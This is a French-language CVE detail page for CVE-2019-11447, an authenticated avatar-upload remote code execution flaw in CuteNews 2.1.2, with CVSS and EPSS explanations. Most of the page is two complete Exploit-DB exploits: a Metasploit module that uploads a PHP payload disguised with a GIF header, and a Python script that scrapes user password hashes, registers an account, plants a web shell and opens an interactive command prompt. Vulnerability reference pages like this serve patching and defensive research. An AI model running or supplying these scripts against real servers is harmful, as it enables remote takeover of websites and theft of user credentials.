CVE-2019-11447 : Détail

CVE-2019-11447

8.8
/
Haute
File Inclusion
A04-Insecure Design
66.49%V4
Network
2019-04-22
02h01 +00:00
2020-09-11
14h06 +00:00
CVE.org
NVD
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Descriptions du CVE

An issue was discovered in CutePHP CuteNews 2.1.2. An attacker can infiltrate the server through the avatar upload process in the profile area via the avatar_file field to index.php?mod=main&opt=personal. There is no effective control of $imgsize in /core/modules/dashboard.php. The header content of a file can be changed and the control can be bypassed for code execution. (An attacker can use the GIF header for this.)

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-434 Unrestricted Upload of File with Dangerous Type
The product allows the upload or transfer of dangerous file types that are automatically processed within its environment.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.0 8.8 HIGH CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 nvd@nist.gov
V2 6.5 AV:N/AC:L/Au:S/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 46698

Date de publication : 2019-04-14 22h00 +00:00
Auteur : AkkuS
EDB Vérifié : Yes

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => "CuteNews 2.1.2 - 'avatar' Remote Code Execution", 'Description' => %q( This module exploits a command execution vulnerability in CuteNews prior to 2.1.2. The attacker can infiltrate the server through the avatar upload process in the profile area. There is no realistic control of the $imgsize function in "/core/modules/dashboard.php" Header content of the file can be changed and the control can be bypassed. We can use the "GIF" header for this process. An ordinary user is enough to exploit the vulnerability. No need for admin user. The module creates a file for you and allows RCE. ), 'License' => MSF_LICENSE, 'Author' => [ 'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & Metasploit module ], 'References' => [ ['URL', 'http://pentest.com.tr/exploits/CuteNews-2-1-2-Remote-Code-Execution-Metasploit.html'], ['URL', 'http://cutephp.com'] # Official Website ], 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [['Automatic', {}]], 'Privileged' => false, 'DisclosureDate' => "Apr 14 2019", 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, "Base CutePHP directory path", '/CuteNews']), OptString.new('USERNAME', [true, "Username to authenticate with", 'admin']), OptString.new('PASSWORD', [false, "Password to authenticate with", 'admin']) ] ) end def exec res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "uploads","avatar_#{datastore['USERNAME']}_#{@shell}") # shell url }) end ## # Login and cookie information gathering ## def login(uname, pass, check) # 1st request to get cookie res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'index.php'), 'vars_post' => { 'action' => 'dologin', 'username' => uname, 'password' => pass } ) cookie = res.get_cookies # 2nd request to cookie validation res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "index.php"), 'cookie' => cookie }) if res.code = 200 && (res.body =~ /dashboard/) return cookie end fail_with(Failure::NoAccess, "Authentication was unsuccessful with user: #{uname}") return nil end def peer "#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}" end ## # Upload malicious file // payload integration ## def upload_shell(cookie, check) res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "index.php?mod=main&opt=personal"), 'cookie' => cookie }) signkey = res.body.split('__signature_key" value="')[1].split('"')[0] signdsi = res.body.split('__signature_dsi" value="')[1].split('"')[0] # data preparation fname = Rex::Text.rand_text_alpha_lower(8) + ".php" @shell = "#{fname}" pdata = Rex::MIME::Message.new pdata.add_part('main', nil, nil, 'form-data; name="mod"') pdata.add_part('personal', nil, nil, 'form-data; name="opt"') pdata.add_part("#{signkey}", nil, nil, 'form-data; name="__signature_key"') pdata.add_part("#{signdsi}", nil, nil, 'form-data; name="__signature_dsi"') pdata.add_part('', nil, nil, 'form-data; name="editpassword"') pdata.add_part('', nil, nil, 'form-data; name="confirmpassword"') pdata.add_part("#{datastore['USERNAME']}", nil, nil, 'form-data; name="editnickname"') pdata.add_part("GIF\r\n" + payload.encoded, 'image/png', nil, "form-data; name=\"avatar_file\"; filename=\"#{fname}\"") pdata.add_part('', nil, nil, 'form-data; name="more[site]"') pdata.add_part('', nil, nil, 'form-data; name="more[about]"') data = pdata.to_s res = send_request_cgi({ 'method' => 'POST', 'data' => data, 'agent' => 'Mozilla', 'ctype' => "multipart/form-data; boundary=#{pdata.bound}", 'cookie' => cookie, 'uri' => normalize_uri(target_uri.path, "index.php") }) if res && res.code == 200 && res.body =~ /User info updated!/ print_status("Trying to upload #{fname}") return true else fail_with(Failure::NoAccess, 'Error occurred during uploading!') return false end end ## # Exploit controls and information ## def exploit unless Exploit::CheckCode::Vulnerable == check fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') end cookie = login(datastore['USERNAME'], datastore['PASSWORD'], false) print_good("Authentication was successful with user: #{datastore['USERNAME']}") if upload_shell(cookie, true) print_good("Upload successfully.") exec end end ## # Version and Vulnerability Check ## def check res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "index.php") }) unless res vprint_error 'Connection failed' return CheckCode::Unknown end if res.code == 200 version = res.body.split('target="_blank">CuteNews ')[1].split('</a>')[0] if version < '2.1.3' print_status("#{peer} - CuteNews is #{version}") return Exploit::CheckCode::Vulnerable end end return Exploit::CheckCode::Safe end end ## # The end of the adventure (o_O) // AkkuS ##
Exploit Database EDB-ID : 48800

Date de publication : 2020-09-09 22h00 +00:00
Auteur : Musyoka Ian
EDB Vérifié : Yes

# Exploit Title: CuteNews 2.1.2 - Remote Code Execution # Google Dork: N/A # Date: 2020-09-10 # Exploit Author: Musyoka Ian # Vendor Homepage: https://cutephp.com/cutenews/downloading.php # Software Link: https://cutephp.com/cutenews/downloading.php # Version: CuteNews 2.1.2 # Tested on: Ubuntu 20.04, CuteNews 2.1.2 # CVE : CVE-2019-11447 #! /bin/env python3 import requests from base64 import b64decode import io import re import string import random import sys banner = """ _____ __ _ __ ___ ___ ___ / ___/_ __/ /____ / |/ /__ _ _____ |_ | < / |_ | / /__/ // / __/ -_) / -_) |/|/ (_-< / __/_ / / / __/ \___/\_,_/\__/\__/_/|_/\__/|__,__/___/ /____(_)_(_)____/ ___ _________ / _ \/ ___/ __/ / , _/ /__/ _/ /_/|_|\___/___/ """ print (banner) print ("[->] Usage python3 expoit.py") print () sess = requests.session() payload = "GIF8;\n<?php system($_REQUEST['cmd']) ?>" ip = input("Enter the URL> ") def extract_credentials(): global sess, ip url = f"{ip}/CuteNews/cdata/users/lines" encoded_creds = sess.get(url).text buff = io.StringIO(encoded_creds) chash = buff.readlines() if "Not Found" in encoded_creds: print ("[-] No hashes were found skipping!!!") return else: for line in chash: if "<?php die('Direct call - access denied'); ?>" not in line: credentials = b64decode(line) try: sha_hash = re.search('"pass";s:64:"(.*?)"', credentials.decode()).group(1) print (sha_hash) except: pass def register(): global sess, ip userpass = "".join(random.SystemRandom().choice(string.ascii_letters + string.digits ) for _ in range(10)) postdata = { "action" : "register", "regusername" : userpass, "regnickname" : userpass, "regpassword" : userpass, "confirm" : userpass, "regemail" : f"{userpass}@hack.me" } register = sess.post(f"{ip}/CuteNews/index.php?register", data = postdata, allow_redirects = False) if 302 == register.status_code: print (f"[+] Registration successful with username: {userpass} and password: {userpass}") else: sys.exit() def send_payload(payload): global ip token = sess.get(f"{ip}/CuteNews/index.php?mod=main&opt=personal").text signature_key = re.search('signature_key" value="(.*?)"', token).group(1) signature_dsi = re.search('signature_dsi" value="(.*?)"', token).group(1) logged_user = re.search('disabled="disabled" value="(.*?)"', token).group(1) print (f"signature_key: {signature_key}") print (f"signature_dsi: {signature_dsi}") print (f"logged in user: {logged_user}") files = { "mod" : (None, "main"), "opt" : (None, "personal"), "__signature_key" : (None, f"{signature_key}"), "__signature_dsi" : (None, f"{signature_dsi}"), "editpassword" : (None, ""), "confirmpassword" : (None, ""), "editnickname" : (None, logged_user), "avatar_file" : (f"{logged_user}.php", payload), "more[site]" : (None, ""), "more[about]" : (None, "") } payload_send = sess.post(f"{ip}/CuteNews/index.php", files = files).text print("============================\nDropping to a SHELL\n============================") while True: print () command = input("command > ") postdata = {"cmd" : command} output = sess.post(f"{ip}/CuteNews/uploads/avatar_{logged_user}_{logged_user}.php", data=postdata) if 404 == output.status_code: print ("sorry i can't find your webshell try running the exploit again") sys.exit() else: output = re.sub("GIF8;", "", output.text) print (output.strip()) if __name__ == "__main__": print ("================================================================\nUsers SHA-256 HASHES TRY CRACKING THEM WITH HASHCAT OR JOHN\n================================================================") extract_credentials() print ("================================================================") print() print ("=============================\nRegistering a users\n=============================") register() print() print("=======================================================\nSending Payload\n=======================================================") send_payload(payload) print ()

Products Mentioned

Configuraton 0

Cutephp>>Cutenews >> Version 2.1.2

Références

https://www.exploit-db.com/exploits/46698/
Tags : exploit, x_refsource_EXPLOIT-DB
Les informations affichées sur CVE Find proviennent de plusieurs sources de référence rigoureusement sélectionnées. Les données CVE sont fournies par MITRE Corporation et la National Vulnerability Database (NVD). Le catalogue des vulnérabilités activement exploitées (KEV) provient de la Cybersecurity and Infrastructure Security Agency (CISA), tandis que les scores EPSS sont issus de FIRST.org. Enfin, les données relatives aux faiblesses logicielles (CWE) et aux schémas d'attaque courants (CAPEC) sont maintenues par MITRE Corporation, et les informations sur les configurations logicielles et matérielles (CPE) proviennent du NVD.